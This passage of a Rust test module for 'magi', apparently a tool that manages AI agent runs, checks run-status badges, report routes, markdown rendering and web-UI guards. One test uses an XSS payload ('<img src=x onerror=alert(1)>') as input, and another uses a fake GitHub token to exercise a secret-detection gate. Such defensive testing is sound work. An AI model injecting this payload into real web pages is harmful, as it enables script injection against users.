18772 let mut state = RunState::new(
18773 PathBuf::from("/repo/magi"),
18774 "main".to_owned(),
18775 "abc".to_owned(),
18776 "Badge".to_owned(),
18777 Config::default(),
18778 );
18779 for (status, waiting, live, superseded, expected) in [
18780 (RunStatus::Gating, false, Dead, false, "stale"),
18781 (RunStatus::Gating, false, Dead, true, "superseded"),
18782 (RunStatus::Gating, false, Unknown, true, "superseded"),
18783 (RunStatus::Gating, true, Dead, true, "superseded"),
18784 (RunStatus::Gating, true, Dead, false, "waiting"),
18785 (RunStatus::Gating, false, Unknown, false, "gating"),
18786 (RunStatus::Gating, false, Live, true, "gating"),
18787 (RunStatus::Gating, true, Live, true, "waiting"),
18788 (RunStatus::Merged, false, Dead, true, "merged"),
18789 (RunStatus::Blocked, false, Dead, true, "blocked"),
18790 ] {
18791 state.status = status;
18792 let display = run_display_status(&state, waiting, live);
18793 assert_eq!(
18794 run_badge_status(&state, &display, live, superseded),
18795 expected,
18796 "{status:?}/{live:?}/superseded={superseded}"
18797 );
18798 }
18799 }
18800
18801 #[test]
18802 fn summarize_and_detail_expose_badge_status() {
18803 use crate::run::Liveness::Dead;
18804 let mut state = RunState::new(
18805 PathBuf::from("/repo/magi"),
18806 "main".to_owned(),
18807 "abc".to_owned(),
18808 "Badge".to_owned(),
18809 Config::default(),
18810 );
18811 state.status = RunStatus::Gating;
18812 let none = HashSet::new();
18813 let id = state.id.clone();
18814 let mut by = HashMap::new();
18815 let rows = summarize(
18816 [state.clone()],
18817 &none,
18818 &none,
18819 &by,
18820 |_| Some(false),
18821 |_| None,
18822 );
18823 assert_eq!(rows[0].badge_status, rows[0].display_status);
18825 by.insert(id, "20260901-000000-913b".to_owned());
18826 let detail = RunDetailView::of(
18827 state.clone(),
18828 false,
18829 Dead,
18830 Some("913b".to_owned()),
18831 None,
18832 None,
18833 );
18834 assert_eq!(detail.badge_status, "superseded");
18835 let json = serde_json::to_value(&detail).unwrap();
18836 assert_eq!(json["badge_status"], "superseded");
18837 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18838 assert_eq!(detail.badge_status, "stale");
18839 }
18840
18841 #[tokio::test]
18842 async fn run_display_status_routes_share_the_open_question_store() {
18843 let f = Fixture::start().await;
18844 let id = "20260922-090200-abcd";
18845 write_run(&f.runs(), id, RunStatus::Judging);
18846 let mut state = read_run(&f.runs(), id).unwrap();
18847 state.parked = true;
18848 state.driver_exited = true;
18849 state.event("github-text", "waiting for the owner");
18850 state.save_under(f.home.path()).unwrap();
18851 let mut task = Task::new(
18852 "resumed task".to_owned(),
18853 "do it".to_owned(),
18854 PathBuf::from("/repo"),
18855 Source::Human,
18856 );
18857 task.runs = vec![id.to_owned(), id.to_owned()];
18858 f.queue().put(&mut task).unwrap();
18859 let store = f.questions();
18860 let mut q = Question::new(
18861 id.to_owned(),
18862 "github-text".to_owned(),
18863 "owner".to_owned(),
18864 "Approve the text?".to_owned(),
18865 String::new(),
18866 Vec::new(),
18867 );
18868 store.put(&mut q).unwrap();
18869 for expected in ["waiting", "parked"] {
18870 let list = f.get("/api/runs").await.json();
18871 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18872 assert_eq!(list[0]["display_status"], expected);
18873 assert_eq!(detail["display_status"], expected);
18874 assert_eq!(detail["waiting"], list[0]["waiting"]);
18875 assert_eq!(list[0]["badge_status"], expected);
18876 assert_eq!(detail["badge_status"], expected);
18877 assert!(list[0]["superseded_by"].is_null());
18878 assert!(detail["superseded_by"].is_null());
18879 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18880 let history = task_detail["history"].as_array().unwrap();
18881 assert_eq!(history.len(), 2);
18882 assert!(history[0]["badge"].is_null());
18883 assert_eq!(history[1]["badge"], expected);
18884 q.status = ask::QuestionStatus::Answered;
18885 store.put(&mut q).unwrap();
18886 }
18887 }
18888
18889 #[tokio::test]
18890 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18891 let f = Fixture::start().await;
18892 let id = "20260922-090200-abcd";
18893 write_run(&f.runs(), id, RunStatus::Judging);
18894 let mut state = read_run(&f.runs(), id).unwrap();
18895 state.parked = true;
18896 state.driver_exited = true;
18897 state.event("park", "stopped at a node boundary");
18898 state.save_under(f.home.path()).unwrap();
18899
18900 for expected in ["parked", "stale"] {
18901 let list = f.get("/api/runs").await.json();
18902 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18903 assert_eq!(list[0]["live"], "dead");
18904 assert_eq!(list[0]["display_status"], expected);
18905 assert_eq!(detail["display_status"], expected);
18906 state.parked = false;
18909 state.save_under(f.home.path()).unwrap();
18910 }
18911 }
18912
18913 #[tokio::test]
18914 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18915 let f = Fixture::start().await;
18916 for id in [
18917 "20260902-140501-aaaa",
18918 "20260902-140502-bbbb",
18919 "20260902-140503-cccc",
18920 ] {
18921 write_run(&f.runs(), id, RunStatus::Merged);
18922 }
18923
18924 let all = f.get("/api/runs").await.json();
18925 let capped = f.get("/api/runs?limit=2").await.json();
18926
18927 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18928 assert_eq!(all.as_array().map(Vec::len), Some(3));
18929 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18930 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18931 }
18932
18933 #[tokio::test]
18934 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18935 let f = Fixture::start().await;
18936 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18937
18938 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18939
18940 assert_eq!(res.status, 200);
18941 assert!(
18942 res.headers
18943 .contains("content-type: text/plain; charset=utf-8"),
18944 "a browser must render it, not download it: {}",
18945 res.headers
18946 );
18947 assert!(
18951 res.body.contains("20260902-140501-a1b2"),
18952 "the report is about the run that was asked for: {}",
18953 res.body
18954 );
18955 }
18956
18957 #[tokio::test]
18958 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18959 crate::run::pin_test_home();
18961 let f = Fixture::start().await;
18962 let id = "20260902-140501-a1b2";
18963 write_run(&f.runs(), id, RunStatus::Stalled);
18964 let path = f.runs().join(id).join("run.json");
18967 let mut v: serde_json::Value =
18968 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18969 v["tally"] = serde_json::json!({
18970 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18971 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18972 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18973 "met_quorum": false, "rankings": 1
18974 });
18975 v["reviews"] = serde_json::json!([{
18976 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18977 "e2e_deferred": true,
18978 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18979 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18980 ]}]
18981 }]);
18982 std::fs::write(&path, v.to_string()).unwrap();
18983 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18984 std::fs::write(
18985 f.runs().join("20260902-140502-dead").join("run.json"),
18986 "{not json",
18987 )
18988 .unwrap();
18989
18990 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18991
18992 assert_eq!(res.status, 200, "{}", res.body);
18993 assert!(res.headers.contains("content-type: application/json"));
18994 let j = res.json();
18995 assert_eq!(j["schema"], 1);
18996 assert_eq!(j["header"]["id"], id);
18997 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18998 let kinds: Vec<&str> = j["sections"]
18999 .as_array()
19000 .unwrap()
19001 .iter()
19002 .map(|s| s["kind"].as_str().unwrap())
19003 .collect();
19004 assert_eq!(kinds, ["candidates", "tally", "review"]);
19005 let tally = &j["sections"][1]["tally"];
19006 assert_eq!(
19007 (tally["decided"].clone(), tally["provisional"].clone()),
19008 (false.into(), true.into())
19009 );
19010 let round = &j["sections"][2]["rounds"][0];
19011 assert_eq!(round["e2e"]["state"], "deferred");
19012 assert_eq!(round["findings"][0]["severity"], "major");
19013 assert_eq!(round["findings"][0]["blocking"], true);
19014 assert_eq!(round["findings"][0]["state"], "open");
19015
19016 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19018
19019 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19021 assert_ne!(bad.status, 200, "{}", bad.body);
19022 assert_eq!(
19023 bad.status,
19024 f.get("/api/runs/20260902-140502-dead/report").await.status
19025 );
19026 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19027 assert_eq!(
19028 f.get("/api/runs/20260902-999999-ffff/report.json")
19029 .await
19030 .status,
19031 404
19032 );
19033 }
19034
19035 #[tokio::test]
19036 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19037 crate::run::pin_test_home();
19038 let f = Fixture::start().await;
19039 let id = "20260902-140503-delib";
19040 write_run(&f.runs(), id, RunStatus::Merged);
19041 let path = f.runs().join(id).join("run.json");
19042 let mut v: serde_json::Value =
19043 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19044 v["judgements"] = serde_json::json!([
19045 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19046 ]);
19047 v["tally"] = serde_json::json!({
19048 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19049 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19050 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19051 "met_quorum": true, "rankings": 1
19052 });
19053 v["deliberation"] = serde_json::json!([
19054 {
19055 "round": 1,
19056 "turns": [
19057 {
19058 "judge": 1,
19059 "agent": "judge-1",
19060 "body": "I prefer candidate **A** because it has cleaner tests.",
19061 "tentative": "A"
19062 }
19063 ]
19064 },
19065 {
19066 "round": 2,
19067 "turns": [
19068 {
19069 "judge": 1,
19070 "agent": "judge-1",
19071 "body": "Still thinking, no choice yet.",
19072 "tentative": null
19073 }
19074 ]
19075 }
19076 ]);
19077 std::fs::write(&path, v.to_string()).unwrap();
19078
19079 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19080 assert_eq!(res.status, 200, "{}", res.body);
19081 let j = res.json();
19082 let judging = j["sections"]
19083 .as_array()
19084 .unwrap()
19085 .iter()
19086 .find(|s| s["kind"] == "judging")
19087 .expect("judging section exists");
19088
19089 let delib_lines = judging["deliberation"].as_array().unwrap();
19091 assert_eq!(delib_lines.len(), 2);
19092 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19093 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19094
19095 let rounds = judging["rounds"].as_array().unwrap();
19097 assert_eq!(rounds.len(), 2);
19098 let r1_t0 = &rounds[0]["turns"][0];
19099 assert_eq!(r1_t0["judge"], 1);
19100 assert_eq!(r1_t0["agent"], "judge-1");
19101 assert_eq!(r1_t0["tentative"], "A");
19102 assert_eq!(
19103 r1_t0["body"],
19104 "I prefer candidate **A** because it has cleaner tests."
19105 );
19106 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19107
19108 let r2_t0 = &rounds[1]["turns"][0];
19109 assert_eq!(r2_t0["judge"], 1);
19110 assert_eq!(r2_t0["agent"], "judge-1");
19111 assert!(r2_t0["tentative"].is_null());
19112 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19113 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19114
19115 let id_empty = "20260902-140504-nodelib";
19117 write_run(&f.runs(), id_empty, RunStatus::Merged);
19118 let path_empty = f.runs().join(id_empty).join("run.json");
19119 let mut v_empty: serde_json::Value =
19120 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19121 v_empty["judgements"] = serde_json::json!([
19122 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19123 ]);
19124 v_empty["deliberation"] = serde_json::json!([]);
19125 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19126
19127 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19128 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19129 let j_empty = res_empty.json();
19130 let judging_empty = j_empty["sections"]
19131 .as_array()
19132 .unwrap()
19133 .iter()
19134 .find(|s| s["kind"] == "judging")
19135 .expect("judging section exists");
19136 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19137 }
19138
19139 #[tokio::test]
19140 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19141 let f = Fixture::start().await;
19142
19143 let html = f.get("/").await;
19144 let css = f.get("/app.css").await;
19145 let js = f.get("/app.js").await;
19146
19147 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19148 assert!(
19149 html.headers
19150 .contains("content-type: text/html; charset=utf-8")
19151 );
19152 assert!(css.headers.contains("content-type: text/css"));
19153 assert!(js.headers.contains("content-type: text/javascript"));
19154 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19155 }
19156
19157 #[test]
19158 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19159 let body = |name: &str| {
19160 let at = APP_JS
19161 .find(name)
19162 .unwrap_or_else(|| panic!("{name} missing"));
19163 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19164 };
19165 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19166 let note = body("function landRoundNote");
19167 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19168 assert!(note.contains("Land round ${round}"));
19169 let land = body("function renderLand");
19170 let note_at = land
19171 .find("landRoundNote(pr)")
19172 .expect("renderLand uses the note");
19173 assert!(
19174 note_at
19175 < land
19176 .find("roundRail(pr)")
19177 .expect("renderLand uses the rail")
19178 );
19179 }
19180
19181 #[test]
19182 fn the_runs_page_redesign_keeps_its_guards() {
19183 let body = |name: &str| {
19184 let at = APP_JS
19185 .find(name)
19186 .unwrap_or_else(|| panic!("{name} missing"));
19187 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19188 };
19189 let land = body("function renderLand");
19191 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19192 assert!(
19193 !land.contains("box.append("),
19194 "renderLand must use append()"
19195 );
19196 assert!(land.contains("append(box, ["));
19197 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19199 assert!(
19200 body("function applyRoute")
19201 .contains("route.name !== state.route.name || route.id !== state.route.id")
19202 );
19203 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19205 assert!(!INDEX_HTML.contains("advise-converge"));
19206 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19207 assert!(APP_JS.contains("provisional"));
19208 for id in [
19209 "run-tab-overview",
19210 "run-tab-timeline",
19211 "run-tab-report",
19212 "run-report",
19213 "runs-scope",
19214 ] {
19215 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19216 }
19217 assert!(!INDEX_HTML.contains("runs-tree"));
19218 assert!(!INDEX_HTML.contains("run-raw-panel"));
19219 assert!(APP_JS.contains("resume"));
19221 assert!(APP_JS.contains("unreadable"));
19223 }
19224
19225 #[test]
19226 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19227 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19228 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19229 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19230 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19231 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19232 assert!(APP_JS.contains("unreadable` : null"));
19234 }
19235
19236 #[test]
19237 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19238 let mut state = RunState::new(
19239 "/repo".into(),
19240 "main".into(),
19241 "abc".into(),
19242 "task".into(),
19243 crate::config::Config::default(),
19244 );
19245 state.status = RunStatus::Blocked;
19246 state.gate_ran = true;
19247 state.gate.push(crate::run::CommandOutcome {
19248 command: "cargo make check".into(),
19249 code: Some(1),
19250 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19251 duration_ms: 0,
19252 resource_blocked: false,
19253 });
19254 let view = RunDetailView::of(
19255 state,
19256 false,
19257 crate::run::Liveness::Unknown,
19258 None,
19259 None,
19260 None,
19261 );
19262 let value = serde_json::to_value(view).unwrap();
19263 assert_eq!(
19264 value["stop_reason"],
19265 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19266 );
19267 }
19268
19269 #[test]
19270 fn the_run_detail_payload_says_whether_the_run_is_done() {
19271 for (status, done) in [
19273 (RunStatus::Superseded, true),
19274 (RunStatus::Blocked, true),
19275 (RunStatus::Landing, false),
19276 ] {
19277 let mut state = RunState::new(
19278 std::path::PathBuf::from("/repo"),
19279 "main".to_owned(),
19280 "abc".to_owned(),
19281 "x".to_owned(),
19282 crate::config::Config::default(),
19283 );
19284 state.status = status;
19285 let v = serde_json::to_value(RunDetailView::of(
19286 state,
19287 false,
19288 crate::run::Liveness::Unknown,
19289 None,
19290 None,
19291 None,
19292 ))
19293 .unwrap();
19294 assert_eq!(v["done"], done, "{status:?}");
19295 }
19296 }
19297
19298 fn has_strong(nodes: &[md::Node]) -> bool {
19300 serde_json::to_string(nodes).unwrap().contains("strong")
19301 }
19302
19303 #[test]
19304 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19305 let mut state = RunState::new(
19306 std::path::PathBuf::from("/repo"),
19307 "main".to_owned(),
19308 "abc".to_owned(),
19309 "x".to_owned(),
19310 crate::config::Config::default(),
19311 );
19312 let proposal = |approach: &str| {
19313 serde_json::json!({
19314 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19315 })
19316 };
19317 state.advice = Some(
19318 serde_json::from_value(serde_json::json!({
19319 "records": [
19320 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19321 "proposal": proposal("do **this**")},
19322 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19323 ],
19324 "synthesis": "- one\n- **two**\n\n`code`",
19325 }))
19326 .unwrap(),
19327 );
19328 state.candidates = serde_json::from_value(serde_json::json!([
19329 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19330 "summary": "did **it**"},
19331 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19332 ]))
19333 .unwrap();
19334 state.reviews = serde_json::from_value(serde_json::json!([{
19337 "round": 1, "head": "h",
19338 "reviews": [{
19339 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19340 "findings": [
19341 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19342 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19343 ],
19344 }],
19345 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19346 "fix": {"agent": "a", "notes": "fixed **it**",
19347 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19348 }, {"round": 2, "head": "h2", "reviews": []}]))
19349 .unwrap();
19350
19351 let v = serde_json::to_value(RunDetailView::of(
19352 state,
19353 false,
19354 crate::run::Liveness::Unknown,
19355 None,
19356 None,
19357 None,
19358 ))
19359 .unwrap();
19360
19361 let strong = |p: &str| {
19362 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19363 assert!(n.to_string().contains("strong"), "{p}: {n}");
19364 };
19365 strong("/advice_md/synthesis");
19366 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19367 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19368 strong("/advice_md/approaches/0");
19369 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19370 strong("/candidate_summaries_md/0");
19371 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19372 strong("/reviews_md/0/reviewers/0/summary");
19373 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19374 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19375 assert!(f[1].to_string().contains("strong"));
19376 strong("/reviews_md/0/reconsideration/0");
19377 strong("/reviews_md/0/fix/notes");
19378 strong("/reviews_md/0/fix/rejected/0");
19379 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19380 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19381 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19383 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19384 }
19385
19386 #[test]
19387 fn a_run_without_advice_has_no_advice_md() {
19388 let state = RunState::new(
19389 std::path::PathBuf::from("/repo"),
19390 "main".to_owned(),
19391 "abc".to_owned(),
19392 "x".to_owned(),
19393 crate::config::Config::default(),
19394 );
19395 let p = run_prose_md(&state);
19396 assert!(p.advice_md.is_none());
19397 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19398 }
19399
19400 #[test]
19401 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19402 let store = ask::Questions::at(PathBuf::from("unused"));
19403 let gt = crate::github_text::Withheld {
19404 title: false,
19405 body: true,
19406 categories: vec!["sensitive-data".into()],
19407 };
19408 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19409 let (detail, comparison) =
19410 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19411 let mut q = Question::new(
19412 "r".into(),
19413 "github-text".into(),
19414 "posting-gate".into(),
19415 "s".into(),
19416 detail,
19417 Vec::new(),
19418 );
19419 assert!(
19420 QuestionView::of(q.clone(), &store, None)
19421 .posting_view
19422 .is_none()
19423 );
19424 q.posting_comparison = Some(comparison);
19425 let view = QuestionView::of(q.clone(), &store, None);
19426 let field = &view.posting_view.unwrap().fields[0];
19427 assert_eq!(
19428 field
19429 .original
19430 .iter()
19431 .map(|f| f.text.as_str())
19432 .collect::<String>(),
19433 body
19434 );
19435 assert!(field.original[0].text.starts_with("<img"));
19436 let original_question: Question =
19437 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19438 assert_eq!(original_question, q);
19439 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19440 .original
19441 .start = 1;
19442 assert!(
19443 QuestionView::of(q.clone(), &store, None)
19444 .posting_view
19445 .is_none()
19446 );
19447 q.posting_comparison = original_question.posting_comparison;
19448 q.detail.push_str("extra context");
19449 assert!(
19450 QuestionView::of(q.clone(), &store, None)
19451 .posting_view
19452 .is_some()
19453 );
19454 q.detail.insert(0, 'x');
19455 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19456 }
19457
19458 #[test]
19459 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19460 let store = ask::Questions::at(PathBuf::from("unused"));
19461 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19462 let gt = crate::github_text::Withheld::from_check(
19463 &crate::github_text::check("fix: x", body),
19464 "fix: x",
19465 body,
19466 )
19467 .unwrap();
19468 let (detail, comparison) =
19469 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19470 let mut q = Question::new(
19471 "r".into(),
19472 "github-text".into(),
19473 "posting-gate".into(),
19474 "s".into(),
19475 detail,
19476 Vec::new(),
19477 );
19478 q.posting_comparison = Some(comparison);
19479 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19480 let field = &value["posting_view"]["fields"][0];
19481 let group = &field["replacement_group"];
19482 let triggers = group["triggers"].as_array().unwrap();
19483 assert_eq!(triggers.len(), 2);
19484 assert_ne!(triggers[0], triggers[1]);
19485 for id in triggers {
19486 assert!(
19487 field["original"]
19488 .as_array()
19489 .unwrap()
19490 .iter()
19491 .any(|f| &f["pair"] == id)
19492 );
19493 assert!(
19494 !field["changed"]
19495 .as_array()
19496 .unwrap()
19497 .iter()
19498 .any(|f| &f["pair"] == id)
19499 );
19500 }
19501 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19502 group["id"].as_u64().unwrap() as usize;
19503 assert!(
19504 QuestionView::of(q, &store, None).posting_view.is_none(),
19505 "group and trigger IDs cannot collide"
19506 );
19507 }
19508
19509 #[test]
19510 fn a_question_view_carries_markdown_for_each_thread_turn() {
19511 let home = TempDir::new().unwrap();
19512 let store = ask::Questions::at(home.path().join("questions"));
19513 let mut q = Question::new(
19514 "run".to_owned(),
19515 "implement".to_owned(),
19516 "impl-A".to_owned(),
19517 "which?".to_owned(),
19518 String::new(),
19519 Vec::new(),
19520 );
19521 q.say("plain words").unwrap();
19522 q.reply("use **this**", Vec::new()).unwrap();
19523 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19524 let bodies = &v["thread_bodies_md"];
19525 assert_eq!(bodies.as_array().unwrap().len(), 2);
19526 assert!(!bodies[0].to_string().contains("strong"));
19527 assert!(bodies[1].to_string().contains("strong"));
19528 }
19529
19530 #[test]
19531 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19532 let home = TempDir::new().unwrap();
19533 let store = ask::Questions::at(home.path().join("questions"));
19534 let mut q = Question::new(
19535 "run".to_owned(),
19536 "conduct".to_owned(),
19537 "conduct".to_owned(),
19538 "which?".to_owned(),
19539 String::new(),
19540 Vec::new(),
19541 );
19542 q.say("plain words").unwrap();
19543 q.thread.push(ask::Turn {
19544 who: ask::Who::Agent,
19545 body: "Settled as `merge`".to_owned(),
19546 at: jiff::Timestamp::now(),
19547 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19548 });
19549 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19550 let notes = &v["thread_notes_md"];
19551 assert_eq!(notes.as_array().unwrap().len(), 2);
19552 assert!(notes[0].is_null());
19553 let text = notes[1].to_string();
19554 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19555 assert!(APP_JS.contains("ask-turn-note"));
19556 }
19557
19558 #[test]
19559 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19560 assert!(APP_JS.contains("function landView(run, raw) {"));
19564 assert!(
19565 APP_JS.contains(
19566 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19567 )
19568 );
19569 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19570 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19571 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19572 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19573 }
19574
19575 #[test]
19576 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19577 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19578 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19579 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19580 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19581 }
19582
19583 #[test]
19584 fn review_rounds_label_a_distinct_verified_head() {
19585 assert!(APP_JS.contains("round.verified_head"));
19586 assert!(APP_JS.contains("verified HEAD"));
19587 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19588 }
19589
19590 #[test]
19591 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19592 assert!(APP_JS.contains("blocked: { glyph:"));
19596 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19597
19598 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19602 assert!(
19603 APP_JS.contains(
19604 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19605 ),
19606 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19607 );
19608 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19612
19613 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19617 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19618 assert!(
19619 APP_JS.contains("location.hash = \"#/questions\";"),
19620 "a question node must jump to the Questions screen, not pretend to be a task"
19621 );
19622
19623 assert!(APP_JS.contains("Resolved questions"));
19626 assert!(APP_JS.contains("r.answersList.append("));
19627 assert!(APP_CSS.contains(".task-answers"));
19628 {
19629 let start = APP_JS
19630 .find("function updateTalkTaskRow")
19631 .expect("updateTalkTaskRow");
19632 let body = &APP_JS[start..];
19633 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19634 assert!(
19635 body.contains(
19636 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19637 ),
19638 "a chat-filed task row must link to the task page"
19639 );
19640 assert!(
19641 !body.contains("#/runs/") && !body.contains("#/queue/"),
19642 "the row must not branch to a run or the queue card"
19643 );
19644 assert!(APP_CSS.contains(".talk-task-link"));
19645 }
19646 }
19647
19648 #[test]
19649 fn a_task_notification_links_to_the_task_page() {
19650 let start = APP_JS
19652 .find("function noticeLink(")
19653 .expect("noticeLink exists");
19654 let body = &APP_JS[start..];
19655 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19656 assert!(
19657 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19658 "a task notice's link must target the task page"
19659 );
19660 assert!(
19661 !body.contains("#/queue/"),
19662 "regression: the task link must not go back to the Backlog route"
19663 );
19664 assert!(
19665 APP_JS.contains(
19666 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19667 ),
19668 "`#/tasks/<id>` must parse into the task route"
19669 );
19670
19671 assert!(
19673 APP_JS.contains(
19674 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19675 ),
